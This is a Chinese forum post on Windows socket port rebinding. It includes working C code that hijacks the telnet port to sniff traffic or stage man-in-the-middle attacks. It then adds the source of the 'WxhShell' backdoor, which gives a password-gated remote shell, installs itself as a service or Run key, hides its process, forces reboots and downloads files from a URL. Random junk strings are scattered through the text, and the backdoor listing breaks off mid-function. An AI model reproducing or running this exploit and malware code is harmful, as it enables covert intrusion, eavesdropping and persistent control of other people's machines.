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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xl,ryc3J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tyd h9I  
6]ZO'Nwo  
  saddr.sin_family = AF_INET; |6*Va%LYO-  
shzG Eb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uJ 8x  
R;'?;I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )qd= {  
^RDU p5,T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _D JCsK|  
E-F5y  
  这意味着什么?意味着可以进行如下的攻击: $Elkhe]O %  
R{`gR"*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QTE:K?  
dm& /K 4c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cmIT$?J  
WGMb8 /{$P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [4\aYB9N  
|*fNH(8&H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,Z5Fea  
%"+4 D,'l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z<h|#@\  
/GN4I!LA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (!-;T  
Km"&mT $  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UFf,+4q  
y@aKNWy}$  
  #include O4!9{  
  #include --A&TV  
  #include BV1u,<T"  
  #include    I*( 1.%:m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H`gb}?9R  
  int main() 8t=3  
  { C5;wf3  
  WORD wVersionRequested; ofK='G .  
  DWORD ret; hLo>R'@uN  
  WSADATA wsaData; {#9,j]<  
  BOOL val; l?<q YjI  
  SOCKADDR_IN saddr; +`Fb_m)f  
  SOCKADDR_IN scaddr; ~QCA -Yud  
  int err; RJwb@r<v  
  SOCKET s; .:[`j3s)Y  
  SOCKET sc; B/G3T u uG  
  int caddsize; <p/MyqZf  
  HANDLE mt; -%i#j>  
  DWORD tid;   r,"7%1I  
  wVersionRequested = MAKEWORD( 2, 2 ); :$2Yg[Zc3  
  err = WSAStartup( wVersionRequested, &wsaData ); K( z[ }  
  if ( err != 0 ) { y+RRg[6|  
  printf("error!WSAStartup failed!\n"); 69iM0X!'u  
  return -1; ftaBilkjp  
  } P=Puaz5&{  
  saddr.sin_family = AF_INET; f B7ljg  
   <5k&)EoT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E|{m"RUOy  
^}@`!ON  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U3+A MVnB  
  saddr.sin_port = htons(23); m3luhGn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m/{Y]D{2  
  { iJ4 <f->t  
  printf("error!socket failed!\n"); %Co b(C&}  
  return -1; }k| g%H J  
  } sjb-Me?  
  val = TRUE; \imp7}N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +dM.-wW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 71*>L}H  
  { 1\IZcJ {  
  printf("error!setsockopt failed!\n"); {6:& %V  
  return -1; 3; A$<s  
  } |,{+;:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PqI![KxZW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %z2oDAjX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :l;,m}#@  
F^]aC98]1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -F1P2 8<?  
  { qsTq*G  
  ret=GetLastError(); oc:x&`j  
  printf("error!bind failed!\n"); H) cQO?B  
  return -1; F^xaz^=`u  
  } R}hlDJ/m-  
  listen(s,2); 0JyqCb l  
  while(1) F@EZ;[  
  { GZS{&w!  
  caddsize = sizeof(scaddr); RyE_|]I62u  
  //接受连接请求 77tZp @>hn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;M-,HK4=  
  if(sc!=INVALID_SOCKET) j C9<hLt  
  {  tI'e ctn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xY+A]Up|w  
  if(mt==NULL) /3s@6Ex}E  
  { pJn>oGeJ&  
  printf("Thread Creat Failed!\n"); 5c)wZ  
  break; Kn. iyR  
  } m EFWo  
  } >pnz_MQ   
  CloseHandle(mt); gkLr]zv  
  } oW8;^u  
  closesocket(s); f@L \E>t  
  WSACleanup(); *5^ze+:  
  return 0; TD%WJ9K\  
  }   CM"s9E8y  
  DWORD WINAPI ClientThread(LPVOID lpParam) eiOi3q  
  { f)WPOTEY  
  SOCKET ss = (SOCKET)lpParam; pRmEryR(U  
  SOCKET sc; r &=r/k2  
  unsigned char buf[4096]; WFXx70n  
  SOCKADDR_IN saddr; ,rXW`7!2  
  long num; bu;vpNa  
  DWORD val; u$\Tg3du2  
  DWORD ret; =O;eY?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >H8^0n)?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4@gl4&<h  
  saddr.sin_family = AF_INET; =qan%=0"h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Of!|,2`(  
  saddr.sin_port = htons(23); 7;~ 2e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oUCVd}wH  
  { }WoX9M; 1  
  printf("error!socket failed!\n"); 8`6 LMQ  
  return -1; "1AjCHZ  
  } R+C+$?4NG  
  val = 100; -)<JBs>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WGluZhRuT3  
  { .ZM]%[4  
  ret = GetLastError(); =GLYDV  
  return -1; ]D?oQ$q7  
  } p<ry$=`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N%: D8\qx  
  { -g~iE]x6Y  
  ret = GetLastError(); :LG}yq^  
  return -1; Af$0 o=".  
  } N c9<X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ogn,1nm%  
  { 9  4 "f  
  printf("error!socket connect failed!\n"); l8eT{!4  
  closesocket(sc); zC[i <'h!T  
  closesocket(ss); sY&r bJ(P  
  return -1; *pmoLiuB>  
  } UqY J#&MqY  
  while(1) nsy !p5o  
  { zR_9D}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^o,y5 ,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;H`=):U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <ihhV e  
  num = recv(ss,buf,4096,0); &0?DL  
  if(num>0) H;4oZ[g  
  send(sc,buf,num,0); 4+ykE:  
  else if(num==0) 9 <y/Wv  
  break; Uzy ;#q  
  num = recv(sc,buf,4096,0); Z8N@e<!*~8  
  if(num>0) "~B~{ _<j  
  send(ss,buf,num,0); ^Jc$BMaVg  
  else if(num==0) :+kg4v&r  
  break; 6f<*1YR F  
  } ':9%3Wq]j  
  closesocket(ss); 'cWlY3%t  
  closesocket(sc); iLc)"L-i  
  return 0 ; YN$ndqOP  
  } N.ItyV  
i+kFL$N  
"0p +SZ~D  
========================================================== V7qCbd^>XJ  
q=(M!9cE  
下边附上一个代码,,WXhSHELL t"jIfU>'a/  
o%y+Y;|?J  
========================================================== )cf p(16  
N^)<)?  
#include "stdafx.h" :5q^\xmmq  
rerUM*0  
#include <stdio.h> sASAsGk<  
#include <string.h>  dfYYyE  
#include <windows.h> \k2C 5f  
#include <winsock2.h> WoC\a^V  
#include <winsvc.h> `HMligT  
#include <urlmon.h> Te{aB"B  
^R&_}bp  
#pragma comment (lib, "Ws2_32.lib") ~GsH8yA_P  
#pragma comment (lib, "urlmon.lib") ZdJVs/33Vn  
{m1t~ S   
#define MAX_USER   100 // 最大客户端连接数 'M]CZ}  
#define BUF_SOCK   200 // sock buffer NXC~#oG  
#define KEY_BUFF   255 // 输入 buffer ^Y1AeJ$L  
1t} (+NNjH  
#define REBOOT     0   // 重启 eHfG;NsV /  
#define SHUTDOWN   1   // 关机  Ep#<$6>  
6z%&A]6k:  
#define DEF_PORT   5000 // 监听端口 N?Z+zN&P  
%FXIlH5  
#define REG_LEN     16   // 注册表键长度 2 `q^Q  
#define SVC_LEN     80   // NT服务名长度 4okHAv8;  
Lrm tPnL  
// 从dll定义API fS8XuT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ d(Ks9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9OO0Ht4j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i75?*ld  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `"^@[1  
.~V".tZV[  
// wxhshell配置信息 x0TnS #  
struct WSCFG { 3\+[38 _  
  int ws_port;         // 监听端口 VdjU2d  
  char ws_passstr[REG_LEN]; // 口令 ;'Z,[a  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?trt4Tbe/  
  char ws_regname[REG_LEN]; // 注册表键名 z[$9B#P  
  char ws_svcname[REG_LEN]; // 服务名 V@54k*V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :c+a-Py $E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &D&5UdN x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PG-cu$\??  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VygXhh^7\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [|m>vY!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &})4?5  
_mI:Lr#dT  
}; *cb D&R\  
KqG$zC^N  
// default Wxhshell configuration 7oqn;6<[>,  
struct WSCFG wscfg={DEF_PORT, c=jTs+h'  
    "xuhuanlingzhe", ,i$(yx?  
    1, 2yQ;lQ`  
    "Wxhshell", :*w:eKk  
    "Wxhshell", O #p)~V8~  
            "WxhShell Service", i&SBW0)  
    "Wrsky Windows CmdShell Service", [h2p8i 'o  
    "Please Input Your Password: ", 2=Vkjh-  
  1, o#KPrW`XJ/  
  "http://www.wrsky.com/wxhshell.exe", 8m1 3M5r  
  "Wxhshell.exe" ?L ~=Z\H  
    }; 2C 8L\  
=":V WHf  
// 消息定义模块 {) '" k6w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %l]rQjV-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QBBJ1U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aS1P]&  
char *msg_ws_ext="\n\rExit.";  8t^;O!  
char *msg_ws_end="\n\rQuit."; +'YSpJ  
char *msg_ws_boot="\n\rReboot..."; wTgx(LtH  
char *msg_ws_poff="\n\rShutdown..."; Vms7 Jay  
char *msg_ws_down="\n\rSave to "; /i]=ndAk  
F6neG~Y  
char *msg_ws_err="\n\rErr!"; {H7$uiq3:B  
char *msg_ws_ok="\n\rOK!"; dA MilTo  
7HR%rO?'  
char ExeFile[MAX_PATH]; Af! W K=  
int nUser = 0; 7+2aG  
HANDLE handles[MAX_USER]; bju,p"J1-E  
int OsIsNt; +XaO?F[c  
]a Ma*fF  
SERVICE_STATUS       serviceStatus; ~]t2?SqNm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yI)RG OV  
`- uZv  
// 函数声明 (^@;`8Dy8  
int Install(void); 3\U,Kg  
int Uninstall(void); ?U.&7yY  
int DownloadFile(char *sURL, SOCKET wsh); e^l+ #^fR  
int Boot(int flag); N4GIb 6  
void HideProc(void); oT5rX ,8  
int GetOsVer(void); 3Jk?)D y  
int Wxhshell(SOCKET wsl); :N'[d e  
void TalkWithClient(void *cs); uhN(`E@  
int CmdShell(SOCKET sock); l.W1$g  
int StartFromService(void); J|64b  
int StartWxhshell(LPSTR lpCmdLine); _tauhwu  
b\uB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YaE['a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @SMy0:c:  
J W yoh|  
// 数据结构和表定义 ] !*  
SERVICE_TABLE_ENTRY DispatchTable[] = HDXjH|of  
{ Dm`U|<o  
{wscfg.ws_svcname, NTServiceMain}, %w|3:  
{NULL, NULL} bU +eJU_%  
}; J;]@?(  
Tk@g9\6O9  
// 自我安装 :Tl6:=B  
int Install(void) 6s"bstc{  
{ gt~2Br4  
  char svExeFile[MAX_PATH]; `LHfAXKN  
  HKEY key; gS o(PW)  
  strcpy(svExeFile,ExeFile); I`}vdX)  
EA{*%9 A  
// 如果是win9x系统,修改注册表设为自启动 $A!h=]  
if(!OsIsNt) { @^4M~F%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }T*xT>p^3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W;@ae,^  
  RegCloseKey(key); 8J(zWV7 r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #di_V"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aZ:?(u]  
  RegCloseKey(key); 2 n+XML  
  return 0; ^Th"`Av5  
    } Bc@r*zb  
  } 0 Ln5e.&  
} 1R~WY'Ed  
else { o%JIJ7M  
(w:ACJ[[  
// 如果是NT以上系统,安装为系统服务 F>-@LOqHy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s\1_-D5]Z  
if (schSCManager!=0) FoXQ]X7"  
{ *L8HC8IbH  
  SC_HANDLE schService = CreateService BNm va  
  ( Ol5xyj  
  schSCManager, umn~hb5O  
  wscfg.ws_svcname, )PATz #  
  wscfg.ws_svcdisp, CH+&  
  SERVICE_ALL_ACCESS, "9T`3cM0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U4I` xw'  
  SERVICE_AUTO_START, Oqe.t;E 0}  
  SERVICE_ERROR_NORMAL, =Bqa <Js  
  svExeFile, ~acK$.#  
  NULL, w3cK: C0  
  NULL, "}aM*(l+\  
  NULL, \osQwGPV  
  NULL, :Ty*i  
  NULL [k{iN1n  
  ); Q>c6ouuJ  
  if (schService!=0) '9Odw@tp  
  { .`#R%4Xl  
  CloseServiceHandle(schService); !OVEA^6  
  CloseServiceHandle(schSCManager); kxf=%<l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [cAg'R6  
  strcat(svExeFile,wscfg.ws_svcname); k_^/   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H 1X]tw.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 54DR.>O  
  RegCloseKey(key); 9F1stT0G%  
  return 0; |VEAzY|[#  
    } 2/q=l?  
  } +7OT`e %q  
  CloseServiceHandle(schSCManager); exKmK!FT  
} 2 3w{h d  
} cW^) $>A  
Afl'-  
return 1; 17 iq  
} ga9:*G!b{)  
=0yJ2[R7Do  
// 自我卸载 Z_WTMs:x!  
int Uninstall(void) G")EE#W$}  
{ y%l#lz=6  
  HKEY key; ho$%7mc  
G QBN-Qv  
if(!OsIsNt) { V/%;:u l.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ryLNMh  
  RegDeleteValue(key,wscfg.ws_regname); |^{" 2l"j  
  RegCloseKey(key); u(`A?H:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O!Cu.9}  
  RegDeleteValue(key,wscfg.ws_regname); RteTz_ z{  
  RegCloseKey(key); |Cq J2  
  return 0;  M.^A`   
  } `bF;Ew;  
} 2![W N*N>O  
} &bK$!8Z  
else { 7V``f:#d  
" CoR?[,x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,]qX_`qF  
if (schSCManager!=0) .g?,:$`0D?  
{ nQ3goVRFP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WN1-J(x6  
  if (schService!=0) VjM uU"++@  
  { 4ux5G`oL  
  if(DeleteService(schService)!=0) { x^skoz  
  CloseServiceHandle(schService); oF^hq-xcP  
  CloseServiceHandle(schSCManager); ,lM2BXz%  
  return 0; `I{Q,HQ7  
  } c)fp;^  
  CloseServiceHandle(schService); 8{ t&8Ql n  
  } 6u;(R0n  
  CloseServiceHandle(schSCManager); umn^QZ,  
} gP%!  
} [&V%rhi  
X0TGJ,yW(  
return 1; gi >{`.]  
} aC 0Jfo  
2MeavTr  
// 从指定url下载文件 .w)t<7 y  
int DownloadFile(char *sURL, SOCKET wsh) %;?3A#  
{ Z`t?kXDNoI  
  HRESULT hr; 1=.kH[R  
char seps[]= "/"; 6LQO>k  
char *token; ZfikNQU9r  
char *file; C;>Ll~f_  
char myURL[MAX_PATH]; <Rt@z|Zv  
char myFILE[MAX_PATH]; B(dL`]@Xm  
6s2g+[  
strcpy(myURL,sURL); Ma#-'J  
  token=strtok(myURL,seps); m/Z_HER^  
  while(token!=NULL) hh}EDnx  
  { NZP,hAUK,  
    file=token; <2d@\"AoHE  
  token=strtok(NULL,seps); Ij_`=w<  
  } 3zHiu*2/!  
fTgN2U  
GetCurrentDirectory(MAX_PATH,myFILE); s'4p+eJ  
strcat(myFILE, "\\"); KIJ[ cIw  
strcat(myFILE, file); CU_06A|}  
  send(wsh,myFILE,strlen(myFILE),0); (B#|3o  
send(wsh,"...",3,0);  cf!R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c Zr4  
  if(hr==S_OK)  Z.JTq~`I  
return 0; %L.+r!.  
else SiT &p  
return 1; Pc1N~?}.  
YfKty0  
} V|7CYkB8  
4/|=0TC;  
// 系统电源模块 UMaKvr-C&  
int Boot(int flag) t57b)5{FM  
{ lh5d6VUA  
  HANDLE hToken; k>`X! "  
  TOKEN_PRIVILEGES tkp; &pz8vWCk  
yqwr0yDAl  
  if(OsIsNt) { v g]&T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5yID%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {{,%p#/b  
    tkp.PrivilegeCount = 1; )' #(1 ,1k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _: K\v8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Efl+`6`J  
if(flag==REBOOT) { a06DeRCej  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oMbCljUC  
  return 0; kpu^:N &  
} (C%'I  
else { i$bBN$<b<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H_FhHX.2(  
  return 0; 8 Hn{CJ~'  
} Q<pM tW  
  } k~ue^^r}  
  else { %?jf.p*kY  
if(flag==REBOOT) {  HV(Kz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jt8 v=<@  
  return 0; !A o?bs'  
} lOui{QU  
else { yNL71>w4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +|;IIwo  
  return 0; 4KnDXQ%  
} ,+&j/0U  
} L?fv5 S3  
!w Bmf&=  
return 1; SH.'E Hd  
} U<b!$"P9  
2}twt  
// win9x进程隐藏模块 JSU\Hh!  
void HideProc(void) Y$^\D' .k  
{ 2OTpGl  
<4g^c&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S SXSgp  
  if ( hKernel != NULL ) E_oe1C:  
  { U?QO'H 5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rL=$WxdPU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;l'I. j  
    FreeLibrary(hKernel); o[ 6hUX0tN  
  } l ;uEw  
d9(FwmE  
return; =j0V/=  
} [>;O'>  
A?/?9Gr  
// 获取操作系统版本 rxARJ so  
int GetOsVer(void) 2wd(0K}b  
{ QVpZA,  
  OSVERSIONINFO winfo; _$0Ix6y,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t>xV]W<  
  GetVersionEx(&winfo); iYf4 /1IG,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FyEl@ }W  
  return 1; C6n4OU  
  else N5\<w>  
  return 0; Li2)~4p><  
} |1D`v9  
nC rNZ&P  
// 客户端句柄模块 9M<? *8)  
int Wxhshell(SOCKET wsl) VsC]z, oV  
{ <Yc:,CU  
  SOCKET wsh; zP9 !fA  
  struct sockaddr_in client; X$* 'D)  
  DWORD myID; m"*:XfOL  
ezn>3?S  
  while(nUser<MAX_USER) pqe**`z@y  
{ i]nE86.;  
  int nSize=sizeof(client); D1f=f88/}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -n9e-0  
  if(wsh==INVALID_SOCKET) return 1; Hpt)(Nz:  
AS7!FD6b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eZcm3=WV|  
if(handles[nUser]==0) 89paR[  
  closesocket(wsh); 4v>V7T.  
else =BtEduz  
  nUser++; j!s&yHE1  
  } F,sT[C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _W;u Qg']  
,"'agg:St  
  return 0; 6]Jv3Re'(I  
} Y'-Lt5SCS  
O v-I2  
// 关闭 socket 4g 1h:I/  
void CloseIt(SOCKET wsh) $3L7R  
{ 3X:F9x>y  
closesocket(wsh); 7,1idY%cy  
nUser--; JI^w1I, T  
ExitThread(0); W{0:8_EI  
} 3 yElN.=  
,w6?} N  
// 客户端请求句柄 N(9'U0z  
void TalkWithClient(void *cs) k2=uP8  
{ mT.F$Y9  
L,WK L.  
  SOCKET wsh=(SOCKET)cs; =4zsAa  
  char pwd[SVC_LEN]; HiC\U%We  
  char cmd[KEY_BUFF]; rLwc=(|  
char chr[1]; ; H3kb +  
int i,j; #'T|,xIr-Q  
UW+I 8\^  
  while (nUser < MAX_USER) { 8X%;29tow  
$\bH 5|Hk]  
if(wscfg.ws_passstr) { E8xXr>j>#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U0rz 4fxc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &^<94l  
  //ZeroMemory(pwd,KEY_BUFF); sJr$[?  
      i=0; C>+UZ  
  while(i<SVC_LEN) { iJYr?3nw;  
F JzjS;  
  // 设置超时 -l\@50, D  
  fd_set FdRead; zm e:U![  
  struct timeval TimeOut; ,Xn%-OT  
  FD_ZERO(&FdRead); ESO(~X+  
  FD_SET(wsh,&FdRead); IQM!dC  
  TimeOut.tv_sec=8; #U1soZ7  
  TimeOut.tv_usec=0; MwuH.# Ez  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HV sIbQS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +LUL-d  
6?_Uow}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DxYu   
  pwd=chr[0]; g9gyWz  
  if(chr[0]==0xd || chr[0]==0xa) { b,c vQD  
  pwd=0; L$b9|j7  
  break; 78X;ZMY  
  } &EQov9P7  
  i++; _uBf.Qfs  
    } d1,azM  
E`i;9e'S  
  // 如果是非法用户,关闭 socket "-hgeQX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tly:$;K  
}  *) wp  
b#P8Je`;9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `mMD e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _])1P?.  
+`[$w<I  
while(1) { 9orza<#  
K9*K4'#R  
  ZeroMemory(cmd,KEY_BUFF); S&VN</p  
nhIITfJJ  
      // 自动支持客户端 telnet标准   7DI8r|~  
  j=0; q)P<lKi  
  while(j<KEY_BUFF) { $/D@=P kc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tHGK<rb  
  cmd[j]=chr[0]; 7.5G4  
  if(chr[0]==0xa || chr[0]==0xd) { C }!$'C|  
  cmd[j]=0; ZK13[_@9  
  break; S"Efp/-  
  }  hP7nt  
  j++; # mzJ^V-  
    } `Q{kiy  
rOcfPLJi0  
  // 下载文件 #>233<  
  if(strstr(cmd,"http://")) { 9`b*Y*d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tp1{)|pwY6  
  if(DownloadFile(cmd,wsh)) f6m^pbQFl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "aP/214Ul  
  else -Wmpj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vj#gY2qZ  
  } 4 Hu+ljdjB  
  else { p@!"x({@l  
%TLAn[LW(  
    switch(cmd[0]) { t >8t|t+  
  bk8IGhO|m!  
  // 帮助 Db2G)63  
  case '?': { d>(dSKx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eo@:@O+bm  
    break; /kn t5  
  } xUG|@xIwc  
  // 安装 _]<]:b  
  case 'i': { s#d>yx_b  
    if(Install()) E=LaPjEIj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bT8BJY%+  
    else HkQ2G}<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '- Z4GcL  
    break; 9J>DLvl;  
    } sT/pA^rnnR  
  // 卸载 >8RIMW2  
  case 'r': { "r[Ea|  
    if(Uninstall()) tmm\V7sJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p1 o?^A&  
    else wo?C 7,-x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i4->XvC  
    break; au GN~"n^  
    } (OJ}|*\e  
  // 显示 wxhshell 所在路径 @ #V31im"N  
  case 'p': { -8EdTc@  
    char svExeFile[MAX_PATH]; 4ba1c  
    strcpy(svExeFile,"\n\r"); #Uudx~b  
      strcat(svExeFile,ExeFile); l]%|w]i\  
        send(wsh,svExeFile,strlen(svExeFile),0); //WgK{Mt  
    break; {xOu*8J  
    } B$7lL  
  // 重启 <1hwXo  
  case 'b': { (+4=A k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZI5UQH/  
    if(Boot(REBOOT)) U_14CLs dG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); atPf527\`  
    else { u52@{@Ad  
    closesocket(wsh); bjR&bIA:  
    ExitThread(0); ^goS? p/z  
    } @m(\f  
    break; Ron^PvvY&  
    } 6k ^vF~  
  // 关机 {(t (}-:Z  
  case 'd': { f(9w FT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h>\}-|Ek  
    if(Boot(SHUTDOWN)) !FO92 P16  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0w OgQ n  
